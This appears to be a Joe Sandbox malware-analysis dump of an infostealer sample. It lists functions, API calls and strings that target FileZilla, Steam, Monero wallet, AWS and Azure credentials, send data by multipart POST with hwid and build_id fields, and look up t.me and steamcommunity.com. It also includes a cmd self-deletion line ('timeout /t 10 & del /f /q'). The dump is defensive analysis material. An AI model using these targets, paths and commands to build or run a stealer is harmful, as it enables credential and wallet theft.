Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Internet$FileReadmemcpy$CloseCrackHandleSleeplstrlen
String ID: "$------$Content-Disposition: form-data; name="$Content-Type: multipart/form-data; boundary=----$ERROR$HTTP/1.1$POST$build_id$https$mode$token
API String ID: 317031563-3466435155
Opcode ID: 861cb8dae58485ddebc8c38636aeaaa6a9d7a4680efb3a25b371246ffcd3b1fe
Instruction ID: 5b37cdde6ef0ecb750ac5b7d415ead0f9e62264991208947704b3bc77561ae75
Opcode Fuzzy Hash: 861cb8dae58485ddebc8c38636aeaaa6a9d7a4680efb3a25b371246ffcd3b1fe
Instruction Fuzzy Hash: 1312523171011867CB15BBA29C9AAFF6B6A9FC4704F40005EF4066B291DFBC5DC6C7A9

Function 00404EA0 Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 354
filestringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,http://localhost:,00000011), ref: 00404FDC
memcpy.MSVCRT(00000000,00000000,?,00000000,http://localhost:,00000011), ref: 00405045
??3@YAXPAX@Z.MSVCRT(00000000,00000000,http://localhost:,00000011), ref: 004050C1
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,http://localhost:,00000011), ref: 00405123
InternetReadFile.WININET(00000000,00000000,00000FFF,?), ref: 00405183
strlen.MSVCRT ref: 004051AD

Strings

WebSocketClient, xrefs: 00404EC4
/json, xrefs: 00405018
"ws://, xrefs: 00405213
http://localhost:, xrefs: 00404FAD
"webSocketDebuggerUrl":, xrefs: 004051FB
-, xrefs: 00404F70

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??3@memcpy$FileInternetReadstrlen
String ID: "webSocketDebuggerUrl":$"ws://$-$/json$WebSocketClient$http://localhost:
API String ID: 2833374752-2114183528
Opcode ID: dbcf1706423a51fa9e0fb6a036ae722ad1f446616e14a0bdfbc243cc409dfbf2
Instruction ID: 1e9bd75843b12caa15a74e03b6a04fcdd02714e47b13e5b8c883d2d1c503f636
Opcode Fuzzy Hash: dbcf1706423a51fa9e0fb6a036ae722ad1f446616e14a0bdfbc243cc409dfbf2
Instruction Fuzzy Hash: 40C1D3706047419BE7249F28C89476FBBE5EF81344F54093EF5829B3D1D778D8448B9A

Function 00407DD0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 297filememorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004113B0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042150A), ref: 0041143E

CopyFileA.KERNEL32(00000000,00000000,00000001,?,?,?,?,00000009,?,00420BBE,?,?,?,C:\ProgramData\,0042150A), ref: 00407E8D
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407EAE
PathFileExistsA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004089FB), ref: 00407EC9
CreateFileA.KERNEL32 ref: 00407F01
GetFileSize.KERNEL32(00000000,00000000), ref: 00407F15
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00407F50
CloseHandle.KERNEL32(00000000), ref: 00407F6B
RtlAllocateHeap.NTDLL(00000000,00000000,000F423F), ref: 00407F85

Part of subcall function 00411D20: GetProcessHeap.KERNEL32 ref: 00411D72
Part of subcall function 00411D20: HeapAlloc.KERNEL32(00000000,00000000,000000FA), ref: 00411D80
Part of subcall function 00411D20: wsprintfW.USER32 ref: 00411D8F

RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 0040806E
DeleteFileA.KERNEL32(00000000), ref: 00408081
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004089FB), ref: 0040809C
CloseHandle.KERNEL32(00000000), ref: 0040815B

Strings

C:\ProgramData\, xrefs: 00407DF0
_passwords.db, xrefs: 00407FBE

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$Heap$CloseHandleSleep$AllocAllocateCopyCreateDeleteExistsFreePathProcessReadSizelstrlenwsprintf
String ID: C:\ProgramData\$_passwords.db
API String ID: 1534156764-2269847733
Opcode ID: a73068b94165eb1fb4997fdb96b272d7ecaa81c9b8b7d476d41781c2edaae806
Instruction ID: e4e39b829918bb4bc11ac9051cc4079098e642cee815a62ce7fe490d7f0511b2
Opcode Fuzzy Hash: a73068b94165eb1fb4997fdb96b272d7ecaa81c9b8b7d476d41781c2edaae806
Instruction Fuzzy Hash: CEB1AC31910709ABCB10EFB1CD99AEEB779BF58304F00551AF81267191EF78A985CBA4

Function 00402AA0 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 473networksleepfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,?,?,?,004042B3,00416A04,?,?,00416A04), ref: 004028AB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,00416A04,?,?,00416A04), ref: 004028BB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00416A04,?,?,00416A04), ref: 004028CB
Part of subcall function 00402790: InternetCrackUrlA.WININET(00000000,00000000,00000000,?,?,?,00416A04,?,?,00416A04), ref: 004028FA

Part of subcall function 004113B0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042150A), ref: 0041143E

Sleep.KERNEL32(00000BB8), ref: 00402F39
InternetReadFile.WININET(?,?,000007CF,?), ref: 00402F86
InternetCloseHandle.WININET(?), ref: 00402FE4

Strings

ERROR, xrefs: 00402F53
HTTP/1.1, xrefs: 00402CB1
https, xrefs: 00402B3E
Content-Disposition: form-data; name=", xrefs: 00402D52, 00402E2D
------, xrefs: 00402BAD, 00402CFF, 00402DDD
hwid, xrefs: 00402D6E
", xrefs: 00402D8A, 00402E65
Content-Type: multipart/form-data; boundary=----, xrefs: 00402C1D
build_id, xrefs: 00402E49
POST, xrefs: 00402CBC

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Internet$CloseCrackFileHandleReadSleeplstrlen
String ID: "$------$Content-Disposition: form-data; name="$Content-Type: multipart/form-data; boundary=----$ERROR$HTTP/1.1$POST$build_id$https$hwid
API String ID: 1529048946-1912073456
Opcode ID: a9d75fe2b112728c04049bdae001af630768750935a4b770d8fde99ae311bea8
Instruction ID: 645ce5d239cc6fa04e08d723ed68e7078ac0ea7ecf833b75b29ddf73a14f7ff9
Opcode Fuzzy Hash: a9d75fe2b112728c04049bdae001af630768750935a4b770d8fde99ae311bea8
Instruction Fuzzy Hash: ABF1543071012867CB15BBA2999A9FF776A9F84704F40005EF4066B291DFBC5EC6C7E9

Function 0040DE80 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 430stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004076B0: CreateFileA.KERNEL32 ref: 004076EE
Part of subcall function 004076B0: LocalAlloc.KERNEL32(00000040,003694E8), ref: 00407723
Part of subcall function 004076B0: ReadFile.KERNEL32(00000000,A075FFA4,003694E8,?,00000000), ref: 00407744

Part of subcall function 004115B0: LocalAlloc.KERNEL32(00000040,?,?,00000000,?,?,00416A58,00000000,00000000), ref: 004115D4

strtok_s.MSVCRT ref: 0040DF2D
lstrlenA.KERNEL32(00000000,?,?,00000000,0000001B,-000000DE), ref: 0040E1A5

Part of subcall function 00413E50: Sleep.KERNEL32(000003E8,?,?,?), ref: 00413F0F
Part of subcall function 00413E50: CreateThread.KERNEL32(00000000,00000000,00416EA0,?,00000000,00000000), ref: 00413F6C
Part of subcall function 00413E50: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00413F78

Strings

Soft: FileZilla, xrefs: 0040E347
<User>, xrefs: 0040E127
<Host>, xrefs: 0040E0B9
Password: , xrefs: 0040E3C8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040DECD
passwords.txt, xrefs: 0040DFA5
Host: , xrefs: 0040E356
Login: , xrefs: 0040E39E
<Pass encoding="base64">, xrefs: 0040E15E
<Port>, xrefs: 0040E0F0

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: AllocCreateFileLocal$ObjectReadSingleSleepThreadWaitlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 2031184060-935134978
Opcode ID: 206b794b4683130859c7aa731cb200fb9fa8a06513edf901f40cb2cd5f66bbdd
Instruction ID: 0a1636bca5df7c154e2ca60be6e54f7e11655359c512dbb65eed7aa386b826a3
Opcode Fuzzy Hash: 206b794b4683130859c7aa731cb200fb9fa8a06513edf901f40cb2cd5f66bbdd
Instruction Fuzzy Hash: 22E1C731A00218ABCB14EBB1DC959EE7B79AF58304F40045EF50277192DF7CA9C6CBA9

Function 00410D80 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,00000000), ref: 00410DCE
RegEnumKeyExA.KERNEL32 ref: 00410E10
RegEnumKeyExA.KERNEL32 ref: 00410E65
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00410EA0
RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?,?), ref: 00410ECD
RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?,?,?,?,?,?,?,00421509), ref: 00410F54

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00410DC8, 00410E77
?, xrefs: 00410DB4
- , xrefs: 00410F6B
DisplayVersion, xrefs: 00410F4B
%s\%s, xrefs: 00410E7C
DisplayName, xrefs: 00410EC4

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: EnumOpenQueryValue
String ID: - $%s\%s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 915368194-394048932
Opcode ID: d9187026738edcb4394eb33dfdd7146f94529fe6e8aa5b07d585f48a1e59a4db
Instruction ID: a9482f3620ee90973302920576edf614ea85895da66572170e0d69f411f645d8
Opcode Fuzzy Hash: d9187026738edcb4394eb33dfdd7146f94529fe6e8aa5b07d585f48a1e59a4db
Instruction Fuzzy Hash: CD51A371204314ABD710AF61DC85BAFBBE9EF84744F00881EF48A97251DBB89DC5CB96

Function 00418400 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 124COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041841D
ShellExecuteEx.SHELL32(0000003C,?,?," & exit,?,?,?,?,?,/c timeout /t 10 & rd /s /q "C:\ProgramData\), ref: 0041854E
memset.MSVCRT ref: 00418573
ExitProcess.KERNEL32(00000000), ref: 00418584

Strings

open, xrefs: 00418514
C:\Windows\system32\cmd.exe, xrefs: 0041851C
/c timeout /t 10 & del /f /q ", xrefs: 00418468
" & exit, xrefs: 004184E2
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184AB
<, xrefs: 004184FC
" & rd /s /q "C:\ProgramData\, xrefs: 0041849C

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memset$ExecuteExitProcessShell
String ID: " & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<$C:\Windows\system32\cmd.exe$open
API String ID: 2991548907-399049077
Opcode ID: 52da44332507b3e7d0d9ed31c26993a860e4f0df3c6564c0aa8321397ace2bfc
Instruction ID: 3bec4c2e7c6fde0c2abea8eb21831abc83823a84231798418e924d212904f1db
Opcode Fuzzy Hash: 52da44332507b3e7d0d9ed31c26993a860e4f0df3c6564c0aa8321397ace2bfc
Instruction Fuzzy Hash: C841D3307143445BE204AB6298E67BF73A59FD574CF40451EF0461A282DFBC6DC98BAB

Function 00414FE0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,Software\Valve\Steam,00000000,00020119,?), ref: 0041506F

Part of subcall function 00414BD0: FindFirstFileA.KERNEL32(?,?), ref: 00414BFF
Part of subcall function 00414BD0: strlen.MSVCRT ref: 00414CA9
Part of subcall function 00414BD0: memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 00414CEB
Part of subcall function 00414BD0: strlen.MSVCRT ref: 00414D57
Part of subcall function 00414BD0: memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 00414D94

Strings

SteamPath, xrefs: 00415088
DialogConfigOverlay*.vdf, xrefs: 0041527A
Software\Valve\Steam, xrefs: 00415065
ssfn*, xrefs: 00415132
loginusers.vdf, xrefs: 00415350
config.vdf, xrefs: 0041519A
libraryfolders.vdf, xrefs: 004152E8
DialogConfig.vdf, xrefs: 00415209
\config\, xrefs: 004150BE

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpstrlen$FileFindFirstOpen
String ID: DialogConfig.vdf$DialogConfigOverlay*.vdf$Software\Valve\Steam$SteamPath$\config\$config.vdf$libraryfolders.vdf$loginusers.vdf$ssfn*
API String ID: 4288304735-1226717063
Opcode ID: 5586b393047b28cf48fe9dec46dc0ec11d4a7ee0403769a6eb676b6b1167209c
Instruction ID: 85194e8d5805dad303305febaf6046d54008d8169596ab7e5b376dc9a1cdcd29
Opcode Fuzzy Hash: 5586b393047b28cf48fe9dec46dc0ec11d4a7ee0403769a6eb676b6b1167209c
Instruction Fuzzy Hash: AAC17131C107489ADB01EF64C9C15FA73B8AF6D318F019289FD496A017EB78BAD4CB94

Function 00401480 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 212fileregistryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040149A
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 004014DE
CopyFileA.KERNEL32(?,00000000,00000001,?,?,?,?,00000006,?,00420BBE,?,?,?,C:\ProgramData\,0042150A,000000FF), ref: 00401611

Part of subcall function 00413E50: Sleep.KERNEL32(000003E8,?,?,?), ref: 00413F0F
Part of subcall function 00413E50: CreateThread.KERNEL32(00000000,00000000,00416EA0,?,00000000,00000000), ref: 00413F6C
Part of subcall function 00413E50: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00413F78

DeleteFileA.KERNEL32(00000000,000000FF), ref: 004016DA

Strings

C:\ProgramData\, xrefs: 00401585
\Monero\wallet.keys, xrefs: 00401550
Wallets, xrefs: 00401540
wallet_path, xrefs: 004014F1
SOFTWARE\monero-project\monero-core, xrefs: 004014D4

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$CopyCreateDeleteObjectOpenSingleSleepThreadWaitmemset
String ID: C:\ProgramData\$SOFTWARE\monero-project\monero-core$Wallets$\Monero\wallet.keys$wallet_path
API String ID: 3632248655-733413667
Opcode ID: 2285756484b5302f54d26c5f8b61bba89344935ed41bf6c8ffe7ed6eb375a518
Instruction ID: 0f5ab2e365d18679f7850bd259ae8de3c372ef4a79097f50b908b3179d6c5dbc
Opcode Fuzzy Hash: 2285756484b5302f54d26c5f8b61bba89344935ed41bf6c8ffe7ed6eb375a518
Instruction Fuzzy Hash: 70717331A10218ABCB14EFA1DD969EE7779AF48704F00405EF9016B152DBBCAEC5CBA5

Function 004166A0 Relevance: 15.2, APIs: 3, Strings: 7, Instructions: 182COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004166BC

Part of subcall function 00416330: FindFirstFileA.KERNEL32(?,?), ref: 00415DCF
Part of subcall function 00416330: strlen.MSVCRT ref: 00415F1C
Part of subcall function 00416330: memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 00415F5B
Part of subcall function 00416330: strlen.MSVCRT ref: 00415FC7
Part of subcall function 00416330: memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 00416004

memset.MSVCRT ref: 00416772
memset.MSVCRT ref: 00416828

Strings

Azure\.IdentityService, xrefs: 004168CE
\.IdentityService\, xrefs: 00416853
\.azure\, xrefs: 004166E7
Azure\.azure, xrefs: 0041675C
\.aws\, xrefs: 0041679D
msal.cache, xrefs: 004168C7
Azure\.aws, xrefs: 00416812

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memset$memcmpstrlen$FileFindFirst
String ID: Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 287450886-3508554265
Opcode ID: a98f44546dc83d83092c0b59d743b05ef3ed3a32d71f5366ac4852f18bdd0379
Instruction ID: 9794ee9d7d5702d65981f79f32deebafb897a1fd212e6a52f5b9a62acbb35f13
Opcode Fuzzy Hash: a98f44546dc83d83092c0b59d743b05ef3ed3a32d71f5366ac4852f18bdd0379
Instruction Fuzzy Hash: EF61BF71900748A7DB00EF75D9C69E97368BF98308F40925AFD056A143EB78EAC9C7D4

Function 00407110 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 97stringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,ChromeBuildTools,00000104), ref: 00407130
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00407142
CreateDesktopA.USER32 ref: 00407166
strlen.MSVCRT ref: 00407222

Strings

D, xrefs: 004071E2
%s%s", xrefs: 0040717B
ChromeBuildTools, xrefs: 0040712A
OCALAPPDATA, xrefs: 004071AA

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Desktop$CreateOpenmemcpystrlen
String ID: %s%s"$ChromeBuildTools$D$OCALAPPDATA
API String ID: 4285203755-2020731023
Opcode ID: f957c9f241f1788a6717240c2f5f4c9f278a5156d0a920e059212db3f08382fb
Instruction ID: f2f5d87aafaa2d86ed8620da2dc3468a3bb05fc034b5e9ecb920fc18406a804c
Opcode Fuzzy Hash: f957c9f241f1788a6717240c2f5f4c9f278a5156d0a920e059212db3f08382fb
Instruction Fuzzy Hash: 56313771D04344ABDB21EB218D41BEFB774AF95304F00419EF90832192DB786AC5CBAA

Function 004107C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?), ref: 0041081A
RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,?), ref: 00410837
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?,00000000), ref: 0041086D
RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,00000000,000000FF), ref: 0041088A

Strings

CurrentBuildNumber, xrefs: 0041082E
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00410810, 00410863
Windows 11, xrefs: 0041084E
ProductName, xrefs: 00410881

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Windows 11
API String ID: 4153817207-605346811
Opcode ID: 7aaa862363c138dd117f4ecf712ec1ac62396a79aeccf81f347b4313aefc6d95
Instruction ID: 4649c964c2ac6d4717e2a874ab9f529b914844d538cc1ef61ec3e528cde88b08
Opcode Fuzzy Hash: 7aaa862363c138dd117f4ecf712ec1ac62396a79aeccf81f347b4313aefc6d95
Instruction Fuzzy Hash: 6C11B271340310BBE7206B60EC4AF5BBAAAEB84B56F10402AF345E71E1C6B45C80CB99

Function 00417270 Relevance: 10.0, APIs: 3, Strings: 2, Instructions: 1231stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004108B0: GetProcessHeap.KERNEL32(00000000,?,00401148,?,00420C50), ref: 004108B2
Part of subcall function 004108B0: HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00401148,?,00420C50), ref: 004108C0
Part of subcall function 004108B0: GetUserNameA.ADVAPI32(00000000), ref: 004108D3

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?,C:\ProgramData\,0042150A,?,?,0000000C), ref: 004175AD

Part of subcall function 00410540: GetVolumeInformationA.KERNEL32 ref: 004105AE

Part of subcall function 004132F0: strtok_s.MSVCRT ref: 00413335

Part of subcall function 00412C40: strtok_s.MSVCRT ref: 00412C64
Part of subcall function 00412C40: strtok_s.MSVCRT ref: 00412CA9

lstrlenA.KERNEL32(ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,?,?,?,?), ref: 00417C10

Part of subcall function 00412E50: strtok_s.MSVCRT ref: 00412E74

Part of subcall function 00412F60: strtok_s.MSVCRT ref: 00412F88

Part of subcall function 00414FE0: RegOpenKeyExA.KERNEL32(80000001,Software\Valve\Steam,00000000,00020119,?), ref: 0041506F

Strings

C:\ProgramData\, xrefs: 0041756F
ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890, xrefs: 00417C0B

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strtok_s$Heap$AllocCreateDirectoryInformationNameOpenProcessUserVolumelstrlen
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890$C:\ProgramData\
API String ID: 4167899144-1067945926
Opcode ID: 253828e2193622bca8c3790444a1af86ecf04706f1a61c859db2bb880bb83f3a
Instruction ID: d3f20ebcfaa0f86e13ddee9407f56ad69643857b77905c87f50bde3cae6408d9
Opcode Fuzzy Hash: 253828e2193622bca8c3790444a1af86ecf04706f1a61c859db2bb880bb83f3a
Instruction Fuzzy Hash: 43C2A331C10B599BDB11EFB5C9815EEB378BF18308F00964EE85567142EB78BAC9CB94

Function 00416B40 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 258stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00000000,0042150A,0042150A), ref: 00416C6A
strstr.MSVCRT ref: 00416C82
strstr.MSVCRT ref: 00416C94

Strings

ERROR, xrefs: 00416D43
steamcommunity.com, xrefs: 00416C8E
t.me, xrefs: 00416C7C

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strstr$lstrlen
String ID: ERROR$steamcommunity.com$t.me
API String ID: 822863568-5696879
Opcode ID: cfbe53031ad5f4abf68ac17c1e9529c3c811d18bb84b897b5de7f13dc1821656
Instruction ID: d2cef3e00896b903973622f9bff644efbf55bb675c2f2304de14bb25205f25c7
Opcode Fuzzy Hash: cfbe53031ad5f4abf68ac17c1e9529c3c811d18bb84b897b5de7f13dc1821656
Instruction Fuzzy Hash: 9CA1C131900619ABCF05EFA1C9958EEB775BF58308F00814AF8056B152EF7CAAD5CBD5

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,004185DE), ref: 00401005
VirtualAllocExNuma.KERNEL32 ref: 00401025
VirtualAlloc.KERNEL32 ref: 0040103D
memset.MSVCRT ref: 00401063
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 0040107D
ExitProcess.KERNEL32 ref: 00401089

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNumamemset
String ID:
API String ID: 1822673426-0
Opcode ID: 15f42dff5f2301d38eca779a0d211f41eaceec2696e379f308e95cd99238eb0b
Instruction ID: 70da7db2db91f88941c3e71440bfa6ebbd6eb466aaac7195974b89fd4c7015d6
Opcode Fuzzy Hash: 15f42dff5f2301d38eca779a0d211f41eaceec2696e379f308e95cd99238eb0b
Instruction Fuzzy Hash: CA01D431A0665457E3102B386C09BEFB794AF16705F505538F888A2271EB20898586E9

Function 00411760 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

